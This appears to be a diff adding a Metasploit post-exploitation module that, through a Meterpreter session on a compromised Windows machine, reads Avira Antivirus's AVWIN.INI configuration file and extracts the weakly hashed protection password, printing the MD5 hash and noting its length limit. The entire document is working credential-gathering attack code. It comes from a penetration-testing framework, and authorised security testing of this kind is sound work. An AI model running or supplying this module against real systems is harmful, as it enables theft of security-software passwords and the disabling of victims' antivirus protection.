|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | +require 'rex' |
| 8 | +require 'rex/parser/ini' |
| 9 | + |
| 10 | + |
| 11 | +class MetasploitModule < Msf::Post |
| 12 | + include Msf::Post::Windows::Registry |
| 13 | + |
| 14 | + def initialize(info={}) |
| 15 | + super( update_info( info, |
| 16 | + 'Name' => 'Windows Gather Avira Password Extraction', |
| 17 | + 'Description' => %q{ |
| 18 | + This module extracts the weakly hashed password |
| 19 | + which is used to protect a Avira Antivirus (<= 15.0.17.273) installation. |
| 20 | + }, |
| 21 | + 'License' => MSF_LICENSE, |
| 22 | + 'Author' => [ 'Robert Kugler / robertchrk'], |
| 23 | + 'Platform' => [ 'win' ], |
| 24 | + 'SessionTypes' => [ 'meterpreter' ] |
| 25 | + )) |
| 26 | + end |
| 27 | + |
| 28 | + def run |
| 29 | + print_status("Checking default location...") |
| 30 | + check_programdata("C:\\ProgramData\\Avira\\Antivirus\\CONFIG\\AVWIN.INI") |
| 31 | + end |
| 32 | + |
| 33 | + def check_programdata(path) |
| 34 | + begin |
| 35 | + client.fs.file.stat(path) |
| 36 | + print_status("Found file at #{path}") |
| 37 | + get_ini(path) |
| 38 | + rescue |
| 39 | + print_status("#{path} not found ....") |
| 40 | + end |
| 41 | + end |
| 42 | + |
| 43 | + def get_ini(filename) |
| 44 | + config = client.fs.file.new(filename, 'r') |
| 45 | + parse = Rex::Text.to_ascii(config.read) |
| 46 | + ini = Rex::Parser::Ini.from_s(parse) |
| 47 | + |
| 48 | + if ini == {} |
| 49 | + print_error("Unable to parse file") |
| 50 | + return |
| 51 | + end |
| 52 | + |
| 53 | + print_status("Processing configuration file...") |
| 54 | + passwd = ini["COMMON"]['Password'] |
| 55 | + passwd = passwd.delete "\"" |
| 56 | + print_good("MD5(Unicode) hash found: #{passwd}") |
| 57 | + print_good("Info: Password length is limited to 20 characters.") |
| 58 | + end |
| 59 | + |
| 60 | +end |
0 commit comments